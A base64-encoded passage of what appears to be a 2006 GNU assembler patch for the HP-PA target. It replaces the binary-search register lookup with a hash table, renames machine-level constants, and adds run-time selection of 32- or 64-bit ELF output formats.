RlBfUkVHX0JBU0V9LA0KKyAgeyIlZnI4ciIsICBiZmRfbWFjaF9ocHBhMTAsICAgOCArIEZQX1JF
R19CQVNFICsgRlBfUkVHX1JTRUx9LA0KKyAgeyIlZnI5IiwgICBiZmRfbWFjaF9ocHBhMTAsICAg
OSArIEZQX1JFR19CQVNFfSwNCisgIHsiJWZyOWwiLCAgYmZkX21hY2hfaHBwYTEwLCAgIDkgKyBG
UF9SRUdfQkFTRX0sDQorICB7IiVmcjlyIiwgIGJmZF9tYWNoX2hwcGExMCwgICA5ICsgRlBfUkVH
X0JBU0UgKyBGUF9SRUdfUlNFTH0sDQorICB7IiVmcmV0IiwgIGJmZF9tYWNoX2hwcGExMCwgICA0
fSwNCisgIHsiJWh0YSIsICAgYmZkX21hY2hfaHBwYTEwLCAgMjV9LA0KKyAgeyIlaWlyIiwgICBi
ZmRfbWFjaF9ocHBhMTAsICAxOX0sDQorICB7IiVpb3IiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDIx
fSwNCisgIHsiJWlwc3ciLCAgYmZkX21hY2hfaHBwYTEwLCAgMjJ9LA0KKyAgeyIlaXNyIiwgICBi
ZmRfbWFjaF9ocHBhMTAsICAyMH0sDQorICB7IiVpdG1yIiwgIGJmZF9tYWNoX2hwcGExMCwgIDE2
fSwNCisgIHsiJWl2YSIsICAgYmZkX21hY2hfaHBwYTEwLCAgMTR9LA0KKyAgeyIlbXJwIiwgICBi
ZmRfbWFjaF9ocHBhMjB3LCAgMn0sDQorICB7IiVtcnAiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDMx
fSwNCisgIHsiJXBjb3EiLCAgYmZkX21hY2hfaHBwYTEwLCAgMTh9LA0KKyAgeyIlcGNzcSIsICBi
ZmRfbWFjaF9ocHBhMTAsICAxN30sDQorICB7IiVwaWRyMSIsIGJmZF9tYWNoX2hwcGExMCwgICA4
fSwNCisgIHsiJXBpZHIyIiwgYmZkX21hY2hfaHBwYTEwLCAgIDl9LA0KKyAgeyIlcGlkcjMiLCBi
ZmRfbWFjaF9ocHBhMTAsICAxMn0sDQorICB7IiVwaWRyNCIsIGJmZF9tYWNoX2hwcGExMCwgIDEz
fSwNCisgIHsiJXBwZGEiLCAgYmZkX21hY2hfaHBwYTEwLCAgMjR9LA0KKyAgeyIlcjAiLCAgICBi
ZmRfbWFjaF9ocHBhMTAsICAgMH0sDQorICB7IiVyMSIsICAgIGJmZF9tYWNoX2hwcGExMCwgICAx
fSwNCisgIHsiJXIxMCIsICAgYmZkX21hY2hfaHBwYTEwLCAgMTB9LA0KKyAgeyIlcjExIiwgICBi
ZmRfbWFjaF9ocHBhMTAsICAxMX0sDQorICB7IiVyMTIiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDEy
fSwNCisgIHsiJXIxMyIsICAgYmZkX21hY2hfaHBwYTEwLCAgMTN9LA0KKyAgeyIlcjE0IiwgICBi
ZmRfbWFjaF9ocHBhMTAsICAxNH0sDQorICB7IiVyMTUiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDE1
fSwNCisgIHsiJXIxNiIsICAgYmZkX21hY2hfaHBwYTEwLCAgMTZ9LA0KKyAgeyIlcjE3IiwgICBi
ZmRfbWFjaF9ocHBhMTAsICAxN30sDQorICB7IiVyMTgiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDE4
fSwNCisgIHsiJXIxOSIsICAgYmZkX21hY2hfaHBwYTEwLCAgMTl9LA0KKyAgeyIlcjIiLCAgICBi
ZmRfbWFjaF9ocHBhMTAsICAgMn0sDQorICB7IiVyMjAiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDIw
fSwNCisgIHsiJXIyMSIsICAgYmZkX21hY2hfaHBwYTEwLCAgMjF9LA0KKyAgeyIlcjIyIiwgICBi
ZmRfbWFjaF9ocHBhMTAsICAyMn0sDQorICB7IiVyMjMiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDIz
fSwNCisgIHsiJXIyNCIsICAgYmZkX21hY2hfaHBwYTEwLCAgMjR9LA0KKyAgeyIlcjI1IiwgICBi
ZmRfbWFjaF9ocHBhMTAsICAyNX0sDQorICB7IiVyMjYiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDI2
fSwNCisgIHsiJXIyNyIsICAgYmZkX21hY2hfaHBwYTEwLCAgMjd9LA0KKyAgeyIlcjI4IiwgICBi
ZmRfbWFjaF9ocHBhMTAsICAyOH0sDQorICB7IiVyMjkiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDI5
fSwNCisgIHsiJXIzIiwgICAgYmZkX21hY2hfaHBwYTEwLCAgIDN9LA0KKyAgeyIlcjMwIiwgICBi
ZmRfbWFjaF9ocHBhMTAsICAzMH0sDQorICB7IiVyMzEiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDMx
fSwNCisgIHsiJXI0IiwgICAgYmZkX21hY2hfaHBwYTEwLCAgIDR9LA0KKyAgeyIlcjUiLCAgICBi
ZmRfbWFjaF9ocHBhMTAsICAgNX0sDQorICB7IiVyNiIsICAgIGJmZF9tYWNoX2hwcGExMCwgICA2
fSwNCisgIHsiJXI3IiwgICAgYmZkX21hY2hfaHBwYTEwLCAgIDd9LA0KKyAgeyIlcjgiLCAgICBi
ZmRfbWFjaF9ocHBhMTAsICAgOH0sDQorICB7IiVyOSIsICAgIGJmZF9tYWNoX2hwcGExMCwgICA5
fSwNCisgIHsiJXJjdHIiLCAgYmZkX21hY2hfaHBwYTEwLCAgIDB9LA0KKyAgeyIlcmV0MCIsICBi
ZmRfbWFjaF9ocHBhMTAsICAyOH0sDQorICB7IiVyZXQxIiwgIGJmZF9tYWNoX2hwcGExMCwgIDI5
fSwNCisgIHsiJXJwIiwgICAgYmZkX21hY2hfaHBwYTEwLCAgIDJ9LA0KKyAgeyIlc2FyIiwgICBi
ZmRfbWFjaF9ocHBhMTAsICAxMX0sDQorICB7IiVzcCIsICAgIGJmZF9tYWNoX2hwcGExMCwgIDMw
fSwNCisgIHsiJXNyMCIsICAgYmZkX21hY2hfaHBwYTEwLCAgIDB9LA0KKyAgeyIlc3IxIiwgICBi
ZmRfbWFjaF9ocHBhMTAsICAgMX0sDQorICB7IiVzcjIiLCAgIGJmZF9tYWNoX2hwcGExMCwgICAy
fSwNCisgIHsiJXNyMyIsICAgYmZkX21hY2hfaHBwYTEwLCAgIDN9LA0KKyAgeyIlc3I0IiwgICBi
ZmRfbWFjaF9ocHBhMTAsICAgNH0sDQorICB7IiVzcjUiLCAgIGJmZF9tYWNoX2hwcGExMCwgICA1
fSwNCisgIHsiJXNyNiIsICAgYmZkX21hY2hfaHBwYTEwLCAgIDZ9LA0KKyAgeyIlc3I3IiwgICBi
ZmRfbWFjaF9ocHBhMTAsICAgN30sDQorICB7IiV0MSIsICAgIGJmZF9tYWNoX2hwcGExMCwgIDIy
fSwNCisgIHsiJXQyIiwgICAgYmZkX21hY2hfaHBwYTEwLCAgMjF9LA0KKyAgeyIldDMiLCAgICBi
ZmRfbWFjaF9ocHBhMTAsICAyMH0sDQorICB7IiV0NCIsICAgIGJmZF9tYWNoX2hwcGExMCwgIDE5
fSwNCisgIHsiJXRmMSIsICAgYmZkX21hY2hfaHBwYTEwLCAgMTF9LA0KKyAgeyIldGYyIiwgICBi
ZmRfbWFjaF9ocHBhMTAsICAxMH0sDQorICB7IiV0ZjMiLCAgIGJmZF9tYWNoX2hwcGExMCwgICA5
fSwNCisgIHsiJXRmNCIsICAgYmZkX21hY2hfaHBwYTEwLCAgIDh9LA0KKyAgeyIldHIwIiwgICBi
ZmRfbWFjaF9ocHBhMTAsICAyNH0sDQorICB7IiV0cjEiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDI1
fSwNCisgIHsiJXRyMiIsICAgYmZkX21hY2hfaHBwYTEwLCAgMjZ9LA0KKyAgeyIldHIzIiwgICBi
ZmRfbWFjaF9ocHBhMTAsICAyN30sDQorICB7IiV0cjQiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDI4
fSwNCisgIHsiJXRyNSIsICAgYmZkX21hY2hfaHBwYTEwLCAgMjl9LA0KKyAgeyIldHI2IiwgICBi
ZmRfbWFjaF9ocHBhMTAsICAzMH0sDQorICB7IiV0cjciLCAgIGJmZF9tYWNoX2hwcGExMCwgIDMx
fQ0KIH07DQogDQorLyogSGFzaCB0YWJsZSBmb3IgcmVnaXN0ZXIgbG9va3VwLiAqLw0KK3N0YXRp
YyBzdHJ1Y3QgaGFzaF9jb250cm9sICpyZWdfaGFzaDsNCisNCiAvKiBUaGlzIHRhYmxlIGlzIHNv
cnRlZCBieSBvcmRlciBvZiB0aGUgbGVuZ3RoIG9mIHRoZSBzdHJpbmcuIFRoaXMgaXMNCiAgICBz
byB3ZSBjaGVjayBmb3IgPD4gYmVmb3JlIHdlIGNoZWNrIGZvciA8LiBJZiB3ZSBoYWQgYSA8PiBh
bmQgY2hlY2tlZA0KICAgIGZvciA8IGZpcnN0LCB3ZSB3b3VsZCBnZXQgYSBmYWxzZSBtYXRjaC4g
ICovDQpAQCAtMjAzMCwzNCArMjA0MSw2IEBAIGlzX2VuZF9vZl9zdGF0ZW1lbnQgKHZvaWQpDQog
DQogI2RlZmluZSBSRUdfTkFNRV9DTlQJKHNpemVvZiAocHJlX2RlZmluZWRfcmVnaXN0ZXJzKSAv
IHNpemVvZiAoc3RydWN0IHBkX3JlZykpDQogDQotLyogR2l2ZW4gTkFNRSwgZmluZCB0aGUgcmVn
aXN0ZXIgbnVtYmVyIGFzc29jaWF0ZWQgd2l0aCB0aGF0IG5hbWUsIHJldHVybg0KLSAgIHRoZSBp
bnRlZ2VyIHZhbHVlIGFzc29jaWF0ZWQgd2l0aCB0aGUgZ2l2ZW4gbmFtZSBvciAtMSBvbiBmYWls
dXJlLiAgKi8NCi0NCi1zdGF0aWMgaW50DQotcmVnX25hbWVfc2VhcmNoIChjaGFyICpuYW1lKQ0K
LXsNCi0gIGludCBtaWRkbGUsIGxvdywgaGlnaDsNCi0gIGludCBjbXA7DQotDQotICBsb3cgPSAw
Ow0KLSAgaGlnaCA9IFJFR19OQU1FX0NOVCAtIDE7DQotDQotICBkbw0KLSAgICB7DQotICAgICAg
bWlkZGxlID0gKGxvdyArIGhpZ2gpIC8gMjsNCi0gICAgICBjbXAgPSBzdHJjYXNlY21wIChuYW1l
LCBwcmVfZGVmaW5lZF9yZWdpc3RlcnNbbWlkZGxlXS5uYW1lKTsNCi0gICAgICBpZiAoY21wIDwg
MCkNCi0JaGlnaCA9IG1pZGRsZSAtIDE7DQotICAgICAgZWxzZSBpZiAoY21wID4gMCkNCi0JbG93
ID0gbWlkZGxlICsgMTsNCi0gICAgICBlbHNlDQotCXJldHVybiBwcmVfZGVmaW5lZF9yZWdpc3Rl
cnNbbWlkZGxlXS52YWx1ZTsNCi0gICAgfQ0KLSAgd2hpbGUgKGxvdyA8PSBoaWdoKTsNCi0NCi0g
IHJldHVybiAtMTsNCi19DQotDQogLyogUmVhZCBhIG51bWJlciBmcm9tIFMuICBUaGUgbnVtYmVy
IG1pZ2h0IGNvbWUgaW4gb25lIG9mIG1hbnkgZm9ybXMsDQogICAgdGhlIG1vc3QgY29tbW9uIHdp
bGwgYmUgYSBoZXggb3IgZGVjaW1hbCBjb25zdGFudCwgYnV0IGl0IGNvdWxkIGJlDQogICAgYSBw
cmUtZGVmaW5lZCByZWdpc3RlciAoWXVrISksIG9yIGFuIGFic29sdXRlIHN5bWJvbC4NCkBAIC0y
MDgwLDkgKzIwNjMsOSBAQCBwYV9wYXJzZV9udW1iZXIgKGNoYXIgKipzLCBpbnQgaXNfZmxvYXQp
DQogICBjaGFyICpuYW1lOw0KICAgY2hhciBjOw0KICAgc3ltYm9sUyAqc3ltOw0KLSAgaW50IHN0
YXR1czsNCiAgIGNoYXIgKnAgPSAqczsNCiAgIGJmZF9ib29sZWFuIGhhdmVfcHJlZml4Ow0KKyAg
Y29uc3Qgc3RydWN0IHBkX3JlZyAqcjsNCiANCiAgIC8qIFNraXAgd2hpdGVzcGFjZSBiZWZvcmUg
dGhlIG51bWJlci4gICovDQogICB3aGlsZSAoKnAgPT0gJyAnIHx8ICpwID09ICdcdCcpDQpAQCAt
MjE4OCw5ICsyMTcxLDkgQEAgcGFfcGFyc2VfbnVtYmVyIChjaGFyICoqcywgaW50IGlzX2Zsb2F0
KQ0KIAkgICAgICBjID0gKnA7DQogCSAgICB9DQogCSAgKnAgPSAwOw0KLQkgIHN0YXR1cyA9IHJl
Z19uYW1lX3NlYXJjaCAobmFtZSk7DQotCSAgaWYgKHN0YXR1cyA+PSAwKQ0KLQkgICAgbnVtID0g
c3RhdHVzOw0KKwkgIHIgPSAoY29uc3Qgc3RydWN0IHBkX3JlZyAqKSBoYXNoX2ZpbmQgKHJlZ19o
YXNoLCBuYW1lKTsNCisJICBpZiAociAhPSBOVUxMKQ0KKwkgICAgbnVtID0gci0+dmFsdWU7DQog
CSAgZWxzZQ0KIAkgICAgew0KIAkgICAgICBpZiAocHJpbnRfZXJyb3JzKQ0KQEAgLTIyNzEsOSAr
MjI1NCw5IEBAIG5lZWRfcGExMV9vcGNvZGUgKHZvaWQpDQogICAgIHsNCiAgICAgICAvKiBJZiB0
aGlzIGluc3RydWN0aW9uIGlzIHNwZWNpZmljIHRvIGEgcGFydGljdWxhciBhcmNoaXRlY3R1cmUs
DQogCSB0aGVuIHNldCBhIG5ldyBhcmNoaXRlY3R1cmUuICAqLw0KLSAgICAgIGlmIChiZmRfZ2V0
X21hY2ggKHN0ZG91dHB1dCkgPCBwYTExKQ0KKyAgICAgIGlmIChiZmRfZ2V0X21hY2ggKHN0ZG91
dHB1dCkgPCBiZmRfbWFjaF9ocHBhMTEpDQogCXsNCi0JICBpZiAoIWJmZF9zZXRfYXJjaF9tYWNo
IChzdGRvdXRwdXQsIGJmZF9hcmNoX2hwcGEsIHBhMTEpKQ0KKwkgIGlmICghYmZkX3NldF9hcmNo
X21hY2ggKHN0ZG91dHB1dCwgYmZkX2FyY2hfaHBwYSwgYmZkX21hY2hfaHBwYTExKSkNCiAJICAg
IGFzX3dhcm4gKF8oImNvdWxkIG5vdCB1cGRhdGUgYXJjaGl0ZWN0dXJlIGFuZCBtYWNoaW5lIikp
Ow0KIAl9DQogICAgICAgcmV0dXJuIFRSVUU7DQpAQCAtMzI4Myw3ICszMjY2LDcgQEAgcGFfaXAg
KGNoYXIgKnN0cikNCiANCiAgICAgICB0aGVfaW5zbi5yZWxvYyA9IFJfSFBQQV9OT05FOw0KIA0K
LSAgICAgIGlmIChpbnNuLT5hcmNoID49IHBhMjANCisgICAgICBpZiAoaW5zbi0+YXJjaCA+PSBi
ZmRfbWFjaF9ocHBhMjANCiAJICAmJiBiZmRfZ2V0X21hY2ggKHN0ZG91dHB1dCkgPCBpbnNuLT5h
cmNoKQ0KIAlnb3RvIGZhaWxlZDsNCiANCkBAIC00NzE0LDcgKzQ2OTcsNyBAQCBwYV9pcCAoY2hh
ciAqc3RyKQ0KIA0KIAkgICAgLyogSGFuZGxlIDE0IGJpdCBpbW1lZGlhdGUsIHNoaWZ0ZWQgbGVm
dCB0aHJlZSB0aW1lcy4gICovDQogCSAgICBjYXNlICcjJzoNCi0JICAgICAgaWYgKGJmZF9nZXRf
bWFjaCAoc3Rkb3V0cHV0KSAhPSBwYTIwKQ0KKwkgICAgICBpZiAoYmZkX2dldF9tYWNoIChzdGRv
dXRwdXQpICE9IGJmZF9tYWNoX2hwcGEyMCkNCiAJCWJyZWFrOw0KIAkgICAgICB0aGVfaW5zbi5m
aWVsZF9zZWxlY3RvciA9IHBhX2Noa19maWVsZF9zZWxlY3RvciAoJnMpOw0KIAkgICAgICBnZXRf
ZXhwcmVzc2lvbiAocyk7DQpAQCAtNjgzNCwyNSArNjgxNywyNSBAQCBwYV9sZXZlbCAoaW50IHVu
dXNlZCBBVFRSSUJVVEVfVU5VU0VEKQ0KICAgaWYgKHN0cm5jbXAgKGxldmVsLCAiMS4wIiwgMykg
PT0gMCkNCiAgICAgew0KICAgICAgIGlucHV0X2xpbmVfcG9pbnRlciArPSAzOw0KLSAgICAgIGlm
ICghYmZkX3NldF9hcmNoX21hY2ggKHN0ZG91dHB1dCwgYmZkX2FyY2hfaHBwYSwgMTApKQ0KKyAg
ICAgIGlmICghYmZkX3NldF9hcmNoX21hY2ggKHN0ZG91dHB1dCwgYmZkX2FyY2hfaHBwYSwgYmZk
X21hY2hfaHBwYTEwKSkNCiAJYXNfd2FybiAoXygiY291bGQgbm90IHNldCBhcmNoaXRlY3R1cmUg
YW5kIG1hY2hpbmUiKSk7DQogICAgIH0NCiAgIGVsc2UgaWYgKHN0cm5jbXAgKGxldmVsLCAiMS4x
IiwgMykgPT0gMCkNCiAgICAgew0KICAgICAgIGlucHV0X2xpbmVfcG9pbnRlciArPSAzOw0KLSAg
ICAgIGlmICghYmZkX3NldF9hcmNoX21hY2ggKHN0ZG91dHB1dCwgYmZkX2FyY2hfaHBwYSwgMTEp
KQ0KKyAgICAgIGlmICghYmZkX3NldF9hcmNoX21hY2ggKHN0ZG91dHB1dCwgYmZkX2FyY2hfaHBw
YSwgYmZkX21hY2hfaHBwYTExKSkNCiAJYXNfd2FybiAoXygiY291bGQgbm90IHNldCBhcmNoaXRl
Y3R1cmUgYW5kIG1hY2hpbmUiKSk7DQogICAgIH0NCiAgIGVsc2UgaWYgKHN0cm5jbXAgKGxldmVs
LCAiMi4wdyIsIDQpID09IDApDQogICAgIHsNCiAgICAgICBpbnB1dF9saW5lX3BvaW50ZXIgKz0g
NDsNCi0gICAgICBpZiAoIWJmZF9zZXRfYXJjaF9tYWNoIChzdGRvdXRwdXQsIGJmZF9hcmNoX2hw
cGEsIDI1KSkNCisgICAgICBpZiAoIWJmZF9zZXRfYXJjaF9tYWNoIChzdGRvdXRwdXQsIGJmZF9h
cmNoX2hwcGEsIGJmZF9tYWNoX2hwcGEyMHcpKQ0KIAlhc193YXJuIChfKCJjb3VsZCBub3Qgc2V0
IGFyY2hpdGVjdHVyZSBhbmQgbWFjaGluZSIpKTsNCiAgICAgfQ0KICAgZWxzZSBpZiAoc3RybmNt
cCAobGV2ZWwsICIyLjAiLCAzKSA9PSAwKQ0KICAgICB7DQogICAgICAgaW5wdXRfbGluZV9wb2lu
dGVyICs9IDM7DQotICAgICAgaWYgKCFiZmRfc2V0X2FyY2hfbWFjaCAoc3Rkb3V0cHV0LCBiZmRf
YXJjaF9ocHBhLCAyMCkpDQorICAgICAgaWYgKCFiZmRfc2V0X2FyY2hfbWFjaCAoc3Rkb3V0cHV0
LCBiZmRfYXJjaF9ocHBhLCBiZmRfbWFjaF9ocHBhMjApKQ0KIAlhc193YXJuIChfKCJjb3VsZCBu
b3Qgc2V0IGFyY2hpdGVjdHVyZSBhbmQgbWFjaGluZSIpKTsNCiAgICAgfQ0KICAgZWxzZQ0KQEAg
LTgyNTksNyArODI0Miw3IEBAIG1kX2JlZ2luICh2b2lkKQ0KICAgY2FsbF9pbmZvX3Jvb3QgPSBO
VUxMOw0KIA0KICAgLyogU2V0IHRoZSBkZWZhdWx0IG1hY2hpbmUgdHlwZS4gICovDQotICBpZiAo
IWJmZF9zZXRfYXJjaF9tYWNoIChzdGRvdXRwdXQsIGJmZF9hcmNoX2hwcGEsIERFRkFVTFRfTEVW
RUwpKQ0KKyAgaWYgKCFiZmRfc2V0X2FyY2hfbWFjaCAoc3Rkb3V0cHV0LCBiZmRfYXJjaF9ocHBh
LCBiZmRfbWFjaCkpDQogICAgIGFzX3dhcm4gKF8oImNvdWxkIG5vdCBzZXQgYXJjaGl0ZWN0dXJl
IGFuZCBtYWNoaW5lIikpOw0KIA0KICAgLyogRm9sZGluZyBvZiB0ZXh0IGFuZCBkYXRhIHNlZ21l
bnRzIGZhaWxzIG1pc2VyYWJseSBvbiB0aGUgUEEuDQpAQCAtODU4MCw2ICs4NTYzLDg0IEBAIHBh
X3Z0YWJsZV9lbnRyeSAoaW50IGlnbm9yZSBBVFRSSUJVVEVfVU4NCiB9DQogDQogc3RhdGljIHZv
aWQNCitpbml0X2RlZmF1bHRfYXJjaCAoKQ0KK3sNCisvKiBDYW5ub3QgbWFrZSBib3RoIGF2YWls
YWJsZSB1bnRpbCBiZmQgaXMgbWVyZ2VkICovDQorI2lmIFRBUkdFVF9BUkNIX1NJWkUgPT0gNjQN
CisgIGlmIChzdHJjbXAgKGRlZmF1bHRfYXJjaCwgImhwcGE2NCIpID09IDApDQorICAgIHsNCisg
ICAgICAvKiBIb3cgdG8gZ2VuZXJhdGUgYSByZWxvY2F0aW9uLiAgKi8NCisgICAgICBocHBhX2dl
bl9yZWxvY190eXBlID0gX2JmZF9lbGY2NF9ocHBhX2dlbl9yZWxvY190eXBlOw0KKyAgICAgIGVs
Zl9ocHBhX3JlbG9jX2ZpbmFsX3R5cGUgPSBlbGY2NF9ocHBhX3JlbG9jX2ZpbmFsX3R5cGU7DQor
ICAgICAgaHBwYV9hcmNoX3NpemUgPSA2NDsNCisgICAgICBiZmRfbWFjaCA9IGJmZF9tYWNoX2hw
cGEyMHc7DQorICAgIH0gZWxzZQ0KKyNlbHNlDQorICBpZiAoc3RyY21wIChkZWZhdWx0X2FyY2gs
ICJocHBhIikgPT0gMCkNCisgICAgew0KKyAgICAgIC8qIEhvdyB0byBnZW5lcmF0ZSBhIHJlbG9j
YXRpb24uICAqLw0KKyAgICAgIGhwcGFfZ2VuX3JlbG9jX3R5cGUgPSBfYmZkX2VsZjMyX2hwcGFf
Z2VuX3JlbG9jX3R5cGU7DQorICAgICAgZWxmX2hwcGFfcmVsb2NfZmluYWxfdHlwZSA9IGVsZjMy
X2hwcGFfcmVsb2NfZmluYWxfdHlwZTsNCisgICAgICBocHBhX2FyY2hfc2l6ZSA9IDMyOw0KKyAg
ICAgIGJmZF9tYWNoID0gYmZkX21hY2hfaHBwYTEwOw0KKyAgICB9IGVsc2UNCisjZW5kaWYNCisg
ICAgYXNfZmF0YWwgKCJJbnZhbGlkIGRlZmF1bHQgYXJjaGl0ZWN0dXJlLCBicm9rZW4gYXNzZW1i
bGVyLiIpOw0KKw0KKyAgc2V0dXBfcmVnX2hhc2goKTsNCit9DQorDQorc3RhdGljIHZvaWQNCitz
ZXR1cF9yZWdfaGFzaCgpDQorew0KKyAgLyogSW5pdGlhbGl6ZSByZWdfaGFzaCBoYXNoIHRhYmxl
ICovDQorICByZWdfaGFzaCA9IGhhc2hfbmV3ICgpOw0KKw0KKyAgY29uc3Qgc3RydWN0IHBkX3Jl
ZyAqcmVnX2VudHJ5Ow0KKw0KKyAgZm9yIChyZWdfZW50cnkgPSBwcmVfZGVmaW5lZF9yZWdpc3Rl
cnM7DQorICAgICAgIHJlZ19lbnRyeSA8IHByZV9kZWZpbmVkX3JlZ2lzdGVycyArIFJFR19OQU1F
X0NOVDsNCisgICAgICAgcmVnX2VudHJ5KyspDQorICAgIHsNCisgICAgICBpZiAocmVnX2VudHJ5
LT5tYWNoID4gYmZkX21hY2gpDQorICAgICAgICBjb250aW51ZTsNCisNCisgICAgICAvKiBXZSBp
bnRlbnRpb25hbGx5IGRvbid0IGNoZWNrIHRoZSByZXR1cm4gc3RhdHVzIGhlcmUuICBCZWNhdXNl
DQorICAgICAgICAgd2l0aCBvbmUgZXhjZXB0aW9uLCB0aGUgaHBwYTY0IGFuZCBocHBhMzIgc2V0
cyBhcmUgdGhlIHNhbWUsDQorCSB3ZSBtYWtlIHN1cmUgdGhhdCB3ZSB3aWxsIHNlZSB0aGUgaHBw
YTY0IG9wcyBmaXJzdCBpZiB3ZSdyZQ0KKwkgd2lsbGluZyB0byB0YWtlIHRoZW0sIGFuZCBqdXN0
IGZhdWx0IG9uIHRoZSBzZWNvbmQgaW5zZXJ0LiAqLw0KKyAgICAgIGhhc2hfaW5zZXJ0IChyZWdf
aGFzaCwgcmVnX2VudHJ5LT5uYW1lLCAoUFRSKSByZWdfZW50cnkpOw0KKyAgICB9DQorfQ0KKw0K
K3ZvaWQNCitocHBhX3ByaW50X3N0YXRpc3RpY3MgKEZJTEUgKmZpbGUpDQorew0KKyAgaGFzaF9w
cmludF9zdGF0aXN0aWNzIChmaWxlLCAiaHBwYSBvcGNvZGUiLCBvcF9oYXNoKTsNCisgIGhhc2hf
cHJpbnRfc3RhdGlzdGljcyAoZmlsZSwgImhwcGEgcmVnaXN0ZXIiLCByZWdfaGFzaCk7DQorfQ0K
Kw0KKy8qIENhbGxlZCBieSBUQVJHRVRfRk9STUFUICovDQorY29uc3QgY2hhciAqDQoraHBwYV90
YXJnZXRfZm9ybWF0ICgpDQorew0KKyAgLyogV2UgZG9uJ3QgZ2V0IGEgY2hhbmNlIHRvIGluaXRp
YWxpemUgYW55dGhpbmcgYmVmb3JlIHdlJ3JlIGNhbGxlZCwNCisgICAgIHNvIGhhbmRsZSB0aGF0
IG5vdy4gICovDQorDQorICBpbml0X2RlZmF1bHRfYXJjaCAoKTsNCisNCisjaWZkZWYgT0JKX0VM
Rg0KKyAgcmV0dXJuIGhwcGFfYXJjaF9zaXplID09IDY0ID8gRUxGNjRfVEFSR0VUX0ZPUk1BVCA6
IEVMRl9UQVJHRVRfRk9STUFUOw0KKyNlbmRpZg0KKw0KKyNpZmRlZiBPQkpfU09NDQorICByZXR1
cm4gInNvbSI7DQorI2VuZGlmDQorDQorICBhYm9ydCAoKTsNCit9DQorDQorc3RhdGljIHZvaWQN
CiBwYV92dGFibGVfaW5oZXJpdCAoaW50IGlnbm9yZSBBVFRSSUJVVEVfVU5VU0VEKQ0KIHsNCiAg
IHN0cnVjdCBmaXggKm5ld19maXg7DQpJbmRleDogY29uZmlnL3RjLWhwcGEuaA0KPT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PQ0KUkNTIGZpbGU6IC9jdnMvc3JjL3NyYy9nYXMvY29uZmlnL3RjLWhwcGEuaCx2DQpyZXRyaWV2
aW5nIHJldmlzaW9uIDEuMzENCmRpZmYgLXUgLXAgLXIxLjMxIHRjLWhwcGEuaA0KLS0tIGNvbmZp
Zy90Yy1ocHBhLmgJMjQgTWF5IDIwMDYgMTE6MDU6NDIgLTAwMDAJMS4zMQ0KKysrIGNvbmZpZy90
Yy1ocHBhLmgJMjIgT2N0IDIwMDYgMTc6MTQ6NTggLTAwMDANCkBAIC00NiwzMiArNDYsNDMgQEAN
CiAjZGVmaW5lIFdPUktJTkdfRE9UX1dPUkQNCiANCiAjaWZkZWYgT0JKX0VMRg0KLSNpZiBUQVJH
RVRfQVJDSF9TSVpFID09IDY0DQotI2luY2x1ZGUgImJmZC9lbGY2NC1ocHBhLmgiDQotI2lmIGRl
ZmluZWQgKFRFX0xJTlVYKSB8fCBkZWZpbmVkIChURV9OZXRCU0QpDQotI2RlZmluZSBUQVJHRVRf
Rk9STUFUICJlbGY2NC1ocHBhLWxpbnV4Ig0KLSNlbHNlDQotI2RlZmluZSBUQVJHRVRfRk9STUFU
ICJlbGY2NC1ocHBhIg0KLSNlbmRpZg0KLSNlbHNlIC8qIFRBUkdFVF9BUkNIX1NJWkUgPT0gMzIg
Ki8NCi0jaW5jbHVkZSAiYmZkL2VsZjMyLWhwcGEuaCINCi0jaWYgZGVmaW5lZCAoVEVfTElOVVgp
DQotI2RlZmluZSBUQVJHRVRfRk9STUFUICJlbGYzMi1ocHBhLWxpbnV4Ig0KLSNlbHNlDQotI2lm
IGRlZmluZWQgKFRFX05ldEJTRCkNCi0jZGVmaW5lIFRBUkdFVF9GT1JNQVQgImVsZjMyLWhwcGEt
bmV0YnNkIg0KLSNlbHNlDQotI2RlZmluZSBUQVJHRVRfRk9STUFUICJlbGYzMi1ocHBhIg0KLSNl
bmRpZg0KLSNlbmRpZg0KLSNlbmRpZg0KLSNlbmRpZg0KKy8qIENhbm5vdCBtYWtlIHRoaXMgcnVu
dGltZSBzZWxlY3RhYmxlIHVudGlsIGJmZCBpcyBtZXJnZWQgKi8NCisjICBpZiBUQVJHRVRfQVJD
SF9TSVpFID09IDY0DQorIyAgaW5jbHVkZSAiYmZkL2VsZjY0LWhwcGEuaCINCisjICBlbHNlIA0K
KyMgIGluY2x1ZGUgImJmZC9lbGYzMi1ocHBhLmgiDQorIyAgZW5kaWYNCisNCisjICBpZmRlZiBU
RV9MSU5VWA0KKyMgIGRlZmluZSBFTEZfVEFSR0VUX0ZPUk1BVCAgICAgICAiZWxmMzItaHBwYS1s
aW51eCINCisjICBkZWZpbmUgRUxGNjRfVEFSR0VUX0ZPUk1BVCAgICAgImVsZjY0LWhwcGEtbGlu
dXgiDQorIyAgZW5kaWYNCisNCisjICBpZmRlZiBURV9OZXRCU0QNCisjICBkZWZpbmUgRUxGX1RB
UkdFVF9GT1JNQVQgICAgICAgImVsZjMyLWhwcGEtbmV0YnNkIg0KKyMgIGRlZmluZSBFTEY2NF9U
QVJHRVRfRk9STUFUICAgICAiZWxmNjQtaHBwYS1saW51eCINCisjICBlbmRpZg0KKw0KKyMgIGlm
bmRlZiBFTEZfVEFSR0VUX0ZPUk1BVA0KKyMgIGRlZmluZSBFTEZfVEFSR0VUX0ZPUk1BVCAgICAg
ICAiZWxmMzItaHBwYSINCisjICBlbmRpZg0KKw0KKyMgIGlmbmRlZiBFTEY2NF9UQVJHRVRfRk9S
TUFUDQorIyAgZGVmaW5lIEVMRjY0X1RBUkdFVF9GT1JNQVQgICAgICJlbGY2NC1ocHBhIg0KKyMg
IGVuZGlmDQorDQorI2VuZGlmIC8qIE9CSl9FTEYgKi8NCiANCiAjaWZkZWYgT0JKX1NPTQ0KICNp
